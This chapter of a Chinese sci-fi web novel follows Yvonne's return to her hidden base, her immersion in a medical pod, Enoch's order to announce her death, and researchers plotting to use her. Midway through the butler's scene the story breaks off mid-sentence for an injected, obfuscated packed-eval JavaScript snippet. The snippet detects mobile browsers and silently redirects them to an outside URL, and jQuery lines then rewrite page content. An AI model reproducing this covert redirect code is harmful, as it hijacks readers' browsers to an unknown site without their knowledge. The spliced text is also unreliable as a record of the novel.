伊冯有很长一段时间没有去想有关她母亲的问题了,她自己有太多要忙的事情。在布莱德星没找到人后,她就没认真计划过要怎么见到罗莎蒙德。
她们母女间的唯一一次相处,以她被药晕做结尾,她无法释怀罗莎蒙德那浓烈的恨意,想不到从以诺那问出原因的方法也抗拒那么做,只能把她们三人的恩怨打包丢到脑后。
刘念给了她一些超出她预想的信息,让她又翻出所知的关于罗莎蒙德的一切,却越梳理越觉得违和。
她认定罗莎蒙德是自己生母的理由是什么?她们极相似的外貌,一张被以诺藏起的照片,她和罗莎蒙德正面接触后,以诺未曾否认她们的母女关系。
这些“证据”如今想来,都不够牢靠。
梦中见到的自称是她母亲的黑发女人,和罗莎蒙德又有多大区别呢,在她拿到她们的基因信息进行匹配前,不都是一面之词。
如果她的特殊与研究塔有关,罗莎蒙德就更像个混淆视听的烟雾弹。
罗莎蒙德的恨意里带着愤怒和恐惧,她害怕伊冯的到来,她说她没有拒绝以诺的余地,自认为俎上鱼肉。以诺那么快从罗莎蒙德那将自己抓回去,只怕最初的离家计划完全在以诺预料之内,甚至是他暗中有意推动。为了什么呢,让她对软弱的生母失望,在外出遭遇的危险中退缩,从此安分乖巧地被他软禁?他之后锁住她的行为又与这番算计矛盾。
“注意,即将在预设点降落。”
自动驾驶的系统发出提示音,伊冯回神,关闭自动驾驶,手动操纵飞行器穿过栖止上空浓密的黄沙,低空飞进岩群中,将飞行器停进一个人造坑洞中。
她打开通讯器,喊道:“能动的都过来搬东西!”
那头很快响起一个欢快的声音:“老师!你回来得好快啊!有给我们带礼物吗?”
然后是一个发音生硬、每个字都间隔一致的人说话:“老师工作辛苦了我马上过去。”
伊冯露出怀念的笑,她给R装了人造声带,花了不少功夫教她用喉咙发声,虽然目前还没有断句的意识,但继续多和人说话交流,总能纠正过来。
至于另一个声音……
她走下飞行器,打开屏蔽器,这样从外面看来这里也是岩壁,也不会被探测器检测到。洞内的墙被打开一个门,穿着白大褂的少年探头出来,看见伊冯就两眼放光地扑过来。
伊冯伸手架开她,仗着手臂比她长,把人挡在一臂远的位置。看着少年的穿着,伊冯皱眉:“安琪儿,我说过几次?不许把实验服穿出实验室。”
安琪儿脑袋一缩,握住伊冯摁着她脑门的手贴在脸侧,谄媚地笑说:“我听到老师回来,迫不及待赶过来,忘了换衣服嘛~”
伊冯抽出手,在她脑门上轻弹一下,懒得拆穿她:“我买了些补给,赶紧搬,很多。”
安琪儿伸头看了眼飞行器里装到载重极限的十几箱东西,吐吐舌头:“我的奶奶,怎么买了这么多?”
“我这次受了点伤,要在医疗舱里泡一段时间,有段时间不能出去采购了。让你们去和米伽那个奸商做生意肯定要被坑。”伊冯说着踢了安琪儿一脚,“快去,R都已经搬走两箱了。”
“她有老师做的身体,力气是我的几十倍哎!我这柔弱的十指做这种粗活很勉强啦~”安琪儿嘴上撒娇抱怨着,还是听话挑拣着比较轻的箱子,抱着走入门后的通道。
伊冯跟在她后面,走过通道,进入她设置在地下的基地。这里不是最初见到R的那块地下空间,而是往城外延伸另挖了一块,这里四周都是那种可以屏蔽探测的黑色矿石,很难被发现。她嫌在城内进出麻烦,地下空间又日渐不够用,于是把空间扩到了城外。
至于这个一口一个“老师”假殷勤爱撒娇的安琪儿,就是那个偷到伊冯身上、被抓还耍无赖的小偷。伊冯对于安琪儿能从她身上摸走东西耿耿于怀,把人扣下给自己当陪练,包吃包住。
安琪儿对于这种好事当然没有拒绝的理由,但没几天就受不了伊冯的勤奋和陪练中难以避免的磕碰疼痛,又不想失去这个不愁温饱的地方,装作对伊冯实验室里的事有兴趣,觉得一天只是看着几台机器,把这个罐子里的东西放到那个瓶子里,一定很轻松。伊冯正好也看中她手指灵活,可以做精细操作,就让她进了实验室。
伊冯担心过安琪儿又会嫌枯燥要偷懒,结果安琪儿在这块有些天赋,一教就会,越学越兴奋,自说自话地以伊冯的学生自居叫她老师,R也开始跟着她这么叫。
她倒是不介意有两个学生,就由她们了,她确实教了她们不少东西,不算虚担这个名头。
伊冯在R和安琪儿搬东西的间隙把全身清洗干净,贴上面具,更换终端手环。伊冯留着旧手环只是为了有利比逖身份信息的芯片,其余部件早被她掏空利用殆尽了。
等二人把搬进来的东西收纳好,伊冯交代她们在她泡医疗舱时要做的事,尤其别让莎丽靠近实验室,然后站进舱内。
“等一下老师,这次真的没给我们带礼物啊?”安琪儿拉住伊冯,摇晃着手讨要手信。
伊冯下巴往卧室的方向抬了抬,说:“放在你们房间门口了。先说明,不是值钱的东西,别太期待。”
安琪儿欢呼着跑向休息区,R也举起手发出“哇哇哇”的声音跑过去。
伊冯看着她们的背影微笑,戴上耳塞鼻塞,将呼吸器含在口中,合上舱门,启动机器注入医疗液。
微黄的透明液体沿着舱壁流下,水位慢慢升高,直到淹过下巴,伊冯闭上眼,等待药液没过头顶,全身放松,整个人悬浮在药液中。
药液中有助眠成分,伊冯在手环上摸索,进入内网。她可不想几天时间光泡着睡觉。
漆黑的视野被白色点亮,彩色粒子组成确认登入的信息界面,伊冯抬起内网为她重构的手臂,点中“确认”。
白光涌向她,拉扯出各种颜色,内网由数据构成的街景在她面前展开。
缤纷的色彩中灰黑的比重突兀地增多,线条扭曲变形,黑白的雪花点带着杂音扑住她的感官。她忍不住闭眼捂住耳朵,但这不是现实世界,那些故障的窗口依然在眼前闪烁,噪音越加杂乱尖锐。
她感受到疼痛,又在下一瞬麻木,忽然失去了实感,虚拟形象没有传输反馈,她找不到自己的身体,意识被卷入错乱的数据流中起伏飘荡——淹没。
阿吉斯的主宅建成多年,在光照下古典气息浓郁,彰显着这个传统名贵家族历史悠久。但现任家主以诺·阿吉斯喜欢让这栋古宅陷在阴影中,入夜不开主灯,只靠小灯提供一些勉强视物的光亮。
外出办事归来的管家提着照明灯脚步匆忙,路过花厅时瞥见一个漆黑的影子,猛地停住,确认站在那的人是以诺后,她关闭照明灯,走近又在三步距离外停住。
她恭敬地低下头,汇报对方交代自己的任务结果:“老爷,伊冯小姐的个人账户已经注销了。”
影子的手抚过盛放的玫瑰,昏暗的光线中玫瑰的红异常鲜明,管家不敢多看,把头垂得更低。宅里的人换了一批,包括她在内都是从分家调来的,过去在宅中工作的人去向不明,而那些家主亲自栽种的玫瑰下是否有什么特殊的养料,没人敢去确认。
以诺摩挲着玫瑰,稍一用力,汁液便从鲜嫩的花瓣中渗出染在他的手上,他着迷于此,扯下花瓣再揉碎,最后把花整朵握住碾碎,鲜红的液体从掌心溢出,将他的手浸红。
他把碎烂的玫瑰随手丢在花丛下的泥土里,说:“联系媒体,下周公告小姐的死讯。葬礼在下月举行。”
管家应下,又等了一会儿,见以诺没有别的事要交代,动作小心地离开花厅,走出一段距离才将照明灯重新打开。
她从前还在分家做事时,曾见过以诺几面,那时他给她的感觉还没如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651482|172270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此令人生俱,爱女失踪对他的打击如此大吗?派出去的搜寻队伍暗中行动已久,总是捕捉不到目标的活动痕迹,好在以诺对于她们找人行动不见成果这事少有苛责。今天她突然收到以诺的命令,让她去为伊冯办理死亡证明并注销账户。
搜寻队伍虽然没找到人,但她们有在内网发现她几次登陆的痕迹,这说明伊冯还活着,只是她们暂时在现实中还捕捉不到她的行踪。即使以诺厌倦了捉迷藏,用公告继承人的死讯来逼人现身也太……这不是送人笑柄吗?
她试图揣摩以诺的用意,想得太投入,走过拐角差点与人撞上,二人及时各退一步,她认出对方后打了个招呼,说:“你是去见老爷?老爷在花厅。”
对方跟自己一样是从分家调来,任内司长,协作管理主宅事务。
内司长听到以诺在花厅,下意识叹了口气,又整顿表情向管家道谢,往花厅方向走。
管家叫了她一声,问:“时间不早了,是什么事要打扰老爷?”
内司长退回来,用手指在唇上比了个噤声的姿势,小声说:“我是去回报。你应该记得,我从前在分家的戈登老爷那做事,老爷让我发函给那边。正文是我润色的,老爷……好像是想将戈登老爷的长子过继到本家来。”
“老爷这……”管家倒吸一口气,大为震撼,“过继的消息一旦传出,就没有反悔的余地了,这,难道老爷不是想逼小姐回家,而是真的要放弃她了?”
“嘘!”内司长又比了一次手势,说,“不是我们能操心的事,别想了。我先去回禀老爷,你早点休息,之后我们可有得忙了。”
管家和内司长分开,走过长廊,道旁烛形灯散发的昏黄光亮在她眼中明灭,她不由地想着那个尚未见过面的主家大小姐,伊冯·阿吉斯。
她只在阿吉斯内部的影像资料和主宅悬挂的肖像画上见过伊冯的样子,不知道她是什么样的性子,能力如何,但以诺宠爱独女这件事阿吉斯家有谁不知?这样的孩子,也会被放弃吗?如果阿吉斯真的决定抛弃那个孩子,那个孩子今后会如何呢?
她停下脚步,抬高手里的照明灯,照亮墙上的画像。不知以诺出于何种目的,将伊冯的画像挂在洛佑的画像附近。
或许不是阿吉斯家放弃她,是她们选择了丢掉阿吉斯。
与吝啬开灯的阿吉斯主宅不同,今天的研究塔在深夜依旧灯火通明,在元星的夜晚投下一圈亮如白昼的光。
在研究塔的某一层的某一个实验室中,身穿白色研究服的研究员蹲在设备前,布满血丝的眼睛紧盯着屏幕上的每一条信息。
和塔内所有宽敞舒适的实验室不同,这里与其说是实验室,更像是杂物间,仪器之间像拼图一样紧贴,力求在狭小的空间里塞入最多的设备,甚至没能留下进出的通道。
天花板上突然打开一个口子,同样穿着研究服的人从天花板钻进来,却不下去,靠反重力装置在天花板上行走,在堆到高处的机器上进行操作。
“我好像见过你的脸。”地上的那个突然说,“太冒险了。”
天花板上的那个说:“一张在五十年前没被清除的面孔,或许才是最安全的呢?唉,我也没办法,当时不是塔内招新的时间。”
天花板上的研究员丢下两根营养棒,也分了些注意力在对方脸上,看了一会儿后她止不住地发笑,说:“你还要继续用这张脸?怎么,打算这样子去阿吉斯的那个伊冯面前晃一圈?你在那里用的名字是什么来着,曾禾?”
地上的研究员撕开营养棒包装,咬着食物说:“伊冯是个热心肠的好孩子,她会愿意为了全人类的利益作出贡献的。”
天花板上的问:“你就那么确定是祂?”
曾禾说:“就算不是,祂选择了模仿伊冯·阿吉斯的外貌,用她的名字,她的存在就一定被赋予了特殊的含义——她会成为我们重启‘开源计划’的钥匙。”